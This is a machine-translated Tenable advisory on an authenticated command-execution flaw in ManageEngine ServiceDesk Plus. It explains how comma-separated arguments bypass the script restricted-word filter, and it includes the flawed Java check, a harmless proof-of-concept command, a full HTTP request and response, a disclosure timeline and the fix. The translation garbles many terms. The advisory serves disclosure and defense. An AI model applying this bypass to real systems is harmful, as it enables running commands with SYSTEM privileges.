脸谱网 Google + 推特 LinkedIn YouTube RSS 菜单 搜索 资源——博客 资源-网络研讨会 资源-报告 资源-事件 icons_066 icons_067 icons_068 icons_069 icons_070

ManageEngine ServiceDesk +验证远端控制设备

剧情简介

限制的列表脚本语言不足以阻止恶意代码执行自定义脚本。与管理员权限远程攻击者可能会划参数用逗号(",")字符包含限制单词(如执行脚本。“回声”)和最终执行任意命令与系统特权。

自定义日程安排页面允许管理员创建一个操作在指定的开始时间和重复执行根据需要在指定的时间间隔。可以指定一个“执行人”这样一个“脚本”命令将启动。用户界面中列出的一个例子:“cmd / c CreateJiraTicket.bat”。开发人员显然已经决定实现的功能,允许任意shell命令执行。然而,开发人员也应用的输入检查试图限制命令允许的类型。

具体来说,C:\Program Files\ ManageEngine \ ServiceDesk \ conf \ \ ServiceDesk资产。xml包含一个“脚本限制语”GlobalConfig元素设计限制允许在命令。见下文。

< GlobalConfig globalconfigid =“GlobalConfig: globalconfigid: 2600”=“Execute_Script”参数=“Restricted_Words paramvalue”=“输出文件,Out-File、写呼应,OpenTextFile,移动,Move-Item,移动,mv,移动文件,德尔,Remove-Item,删除rm,拆开,删除目录,DeleteFile,任,Rename-Item,重命名,mv, cp, rm,移动文件”描述= "脚本限制单词" / >

这个功能是执行当POST请求/ api / v3 / custom_schedules。例如,如果遗嘱执行人领域充满了“回声“测试”> C: \ \测试。txt”(不包括单引号),返回一个响应消息表明“限制的话(回声)不允许”。

{" response_status ":{“消息”:[{“消息”:“限制的话(回声)不允许”},{“类型”:“失败”,“消息”:“错误处理请求时。”,“status_code”: " 4004 "}),“状态”:“失败”}}

然而,在输入验证,当脚本命令检查是否包含任何限制的话,命令分为“单词”(参数)和假设参数分隔的空间(" ")。看到以下代码片段containsScriptRestrictedWords()方法:

com.adventnet.servicedesk.utils.ServiceDeskUtil.java:
公共String [] getScriptRestrictedWords()抛出异常{字符串restrictedWords = GlobalConfigUtil.getInstance ()。getGlobalConfigValue (“Restricted_Words”、“Execute_Script”);返回restrictedWords.split (", ");}公共设置containsScriptRestrictedWords(字符串输入)抛出异常{HashSet <字符串> input_words = new HashSet <字符串> ();input_words.addAll (arrays . aslist(输入。分割(" ")));input_words.retainAll (arrays . aslist (this.getScriptRestrictedWords ()));返回input_words;}

这是不够的,因为参数可以与其他字符分隔(例如逗号、分号)。例如,这些命令是等价的:

c: \ >回声“Hello World”“Hello World”c: \ >呼应,“Hello World”“Hello World”c: \ >回声;“Hello World”“Hello World”

的概念:

创建一个新的定制计划,在未来执行几分钟。遗嘱执行人的字段中,输入以下命令:

cmd / c”呼应,测试> c: \ \用法”

生成的HTTP POST请求看起来像这样:

POST / api / v3 / custom_schedules HTTP / 1.1主持人:172.26.31.177:8080内容长度:521接受:* / * X-ZCSRF-TOKEN: sdpcsrfparam = cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844 X-Requested-With: XMLHttpRequest user - agent: Mozilla / 5.0 (Windows NT 10.0;Win64;x64) AppleWebKit / 537.36 (KHTML,像壁虎)Chrome / 88.0.4324.150 Safari 537.36 - type:应用程序/ x-www-form-urlencoded;utf - 8字符集=产地:http://172.26.31.177:8080推荐人:http://172.26.31.177:8080应用程序接受编码:gzip、缩小接收语言:en - us, en; q = 0.9饼干:PORTALID = 1;memarketing -_zldp = Mltw9Iqq5RTcm0DrX % 2 bjd4x3cgrdqd79ccyeq % 2 fr9bh0hhr5l % 2 bra9awbijv % 2 fdqflexjdeb3ylzdu0 % 3 d;memarketing -_zldt = 6 a712f22 - 6 - b5a - 4181 - 983 - c - 231 ea0c79ce8 - 2;close_antivirus_Customization_4 = true;SDPSESSIONID = EC6D3656EEBF5DD2DD8D8DFFEB10020E;JSESSIONIDSSO = 1955688 af439420a2ac178e7c883464e;sdpcsrfcookie = cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844; _zcsr_tmp=cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844; Connection: close INPUT_DATA=%7B%22custom_schedules%22%3A%7B%22is_enabled%22%3Atrue%2C%22description%22%3A%22%22%2C%22executor_type%22%3A%22script%22%2C%22is_periodic%22%3Afalse%2C%22interval_type%22%3Anull%2C%22interval_value%22%3A0%2C%22executor%22%3A%22cmd+%2Fc+%5C%22echo%2Ctest+%3E+test.txt%5C%22%22%2C%22name%22%3A%22Test%22%2C%22start_time%22%3A%7B%22value%22%3A%221614088080000%22%7D%7D%7D&sdpcsrfparam=cbd6ca21e9dcb7a314cac17c678ae2791c42cd1e8620d42b0ec9bd1b02ca99a4e50986554cdb6a6be2d2804be0d723c32613143caebfe500a286190aafe99844

当然,令牌和会话这个会话标识符的值是唯一的。

这样产生的响应将会出现:

HTTP / 1.1 200 X-Content-Type-Options: nosniff X-XSS-Protection: 1;模式=块杂注:no - cache cache - control:私人,no - cache,不是商店,信息= 0,must-revalidate到期:星期四,1970年1月1日格林尼治时间就是- type: application / json; charset = utf - 8内容长度:693日期:星期二,2021年2月23日格林尼治时间13:47:40连接:关闭服务器:{" response_status ":{“消息”:[{“类型”:“成功”、“消息”:“定制时间表添加”,“status_code”: " 200 "}),“状态”:“成功”},“custom_schedules”: {" created_time ": {“display_value”:“2021年2月23日上午05:47”、“价值”:“1614088060105”},“描述”:空,“created_by”: {“email_id”:空,“名字”:“管理员”、“is_vipuser”:假的,“id”:“4”},“interval_value”:空,“结果”:空,“is_enabled”:真的,“start_time”: {“display_value”:“2021年2月23日上午05:48”、“价值”:“1614088080589”},“executor_type”:“脚本”,“next_time”: {“display_value”:“2021年2月23日上午05:48”、“价值”:“1614088080533”},“执行人”:“cmd / c \”呼应,测试>用法\”,“last_time”:空,“名字”:“测试”、“id”:“119”,“is_periodic”:假的,“interval_type”:零}}

检查C: \ \测试。txt创建,它包含“测试”这个词。

c: \ >输入c: \ \测试。三种测试

使用工具像Sysinternals的过程监控,可以看到这一过程是由系统。

解决方案

升级到11205

披露时间表

03/17/2021——通过ZoHo站得住脚的bug报告bug赏金门户。90天的日期是2021年6月15日。
03/18/2021——Zoho正在调查远端控制设备。他们很快会回到我。
03/24/2021——站得住脚的要求更新。
03/24/2021——Zoho在从事这项工作。他们很快就会回到我的更新。
04/07/2021——站得住脚的要求更新。
04/21/2021——站得住脚的要求更新。
05/04/2021——站得住脚的要求更新。
05/18/2021——站得住脚的要求更新。
05/18/2021——Zoho说,“对不起延迟。我们还在研究这个报告。我们很快就会回到你的下一个更新。”
06/07/2021——站得住脚的要求更新。
06/09/2021——站得住脚的补丁发布通知。

交易报告内的所有信息提供了“是”,没有任何形式的保证,包括适销性的隐含保证和健身为特定目的,并没有保证的完整性、准确性、及时性。个人和组织负责评估任何实际或潜在的安全漏洞的影响。

站得住脚的非常重视产品安全。如果你认为你已经找到一个漏洞在一个我们的产品,我们要求您请与我们共同努力,快速解决它为了保护客户。站得住脚的相信迅速应对这样的报道,与研究人员保持沟通,并提供解决方案。

提交漏洞信息的更多细节,请参阅我们的漏洞报告指南页面。

如果你有问题或修正咨询,请电子邮件(电子邮件保护)

风险信息

成立咨询ID
交易- 2021 - 22所示
信贷

克里斯•莱恩

CVSSv3基地/时间的分数
7.2/6.7
CVSSv3向量
CVSS: 3.0 / AV: N /交流:L /公关:H / UI: N / S: U / C: H /我:H: H
更多关键字
sd - 93708
受影响的产品
在Windows上ManageEngine ServiceDesk + 11205年建立之前
风险因素

咨询时间

06/09/2021——咨询发表。

站得住脚的脆弱性管理

以前Tenable.io


享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。

你站得住脚的脆弱性管理试验Lumin还包括成立,成立网络应用扫描和站得住脚的云安全。

站得住脚的脆弱性管理

以前Tenable.io

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。今天购买你的年度订阅。

65年资产

选择你的订阅选项:

现在购买

尝试成立Nessus专业免费的

免费7天

站得住脚的Nessus是当今市场上最全面的漏洞扫描器。

新成立Nessus专家
现在可用

Nessus专家增添了更多的功能,包括外部攻击表面扫描,和添加域和扫描云基础设施的能力。点击这里尝试Nessus专家。

填写下面的表格继续Nessus Pro的审判。

买站得住脚的Nessus专业

站得住脚的Nessus是当今市场上最全面的漏洞扫描器。站得住脚的Nessus专业将帮助自动化漏洞扫描过程,节省时间在你的合规周期,让你与你的团队。

买一个多年的许可并保存。高级支持访问添加到手机、社区和聊天支持一天24小时,一年365天。

选择您的许可

买一个多年的许可并保存。

添加的支持和培训

Tenable.io

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。

你站得住脚的脆弱性管理试验Lumin还包括成立,成立网络应用扫描和站得住脚的云安全。

Tenable.io

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。今天购买你的年度订阅。

65年资产

选择你的订阅选项:

现在购买

尝试站得住脚的Web应用程序扫描

以前Tenable.ioWeb Application Scanning

享受完全访问我们的最新的web应用程序扫描提供专为现代应用程序的一部分的一个管理平台。安全扫描整个在线组合漏洞具有高精确度没有重体力工作或中断关键web应用程序。现在报名。

你站得住脚的Web应用程序扫描试验还包括站得住脚的脆弱性管理,成立Lumin站得住脚的云安全。

买站得住脚的Web应用程序扫描

以前Tenable.ioWeb Application Scanning

享受完全访问一个现代的、基于云的脆弱性管理平台,使您能够看到并追踪你所有的资产与无与伦比的精度。今天购买你的年度订阅。

5 fqdn

3578美元

现在购买

尝试成立Lumin

可视化和探索你的风险管理,跟踪风险降低随着时间的推移和基准与站得住脚的Lumin你的同行。

你站得住脚的Lumin审判还包括站得住脚的脆弱性管理,站得住脚的Web应用程序扫描和站得住脚的云安全。

买站得住脚的Lumin

联系销售代表如何站得住脚的Lumin可以帮助你了解你的整个组织和管理网络的风险。

尝试站得住脚的云安全

以前Tenable.cs

享受完全访问检测和修复云基础设施配置错误和查看运行时的漏洞。现在注册你的免费试用。了解更多关于审判过程请点击这里。

你站得住脚的云安全试验还包括站得住脚的脆弱性管理,成立Lumin和站得住脚的Web应用程序扫描。

联系销售代表购买站得住脚的云安全

联系销售代表来了解更多关于站得住脚的云安全,看是多么容易机载云账户和获得可见性都几分钟内云配置错误和漏洞。

尝试成立Nessus专家免费

免费7天

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

已经成立Nessus专业吗?
升级到Nessus专家免费7天。

买站得住脚的Nessus专家

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

选择您的许可

买一个多年的执照和存更多的钱。

添加的支持和培训

尝试Nessus专家免费

免费7天

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

已经有了Nessus专业?
升级到Nessus专家免费7天。

买站得住脚的Nessus专家

现代修建的攻击表面,Nessus专家使您能够看到更多和保护您的组织从漏洞从云。

选择您的许可

买一个多年的执照和存更多的钱。

添加的支持和培训

Baidu
map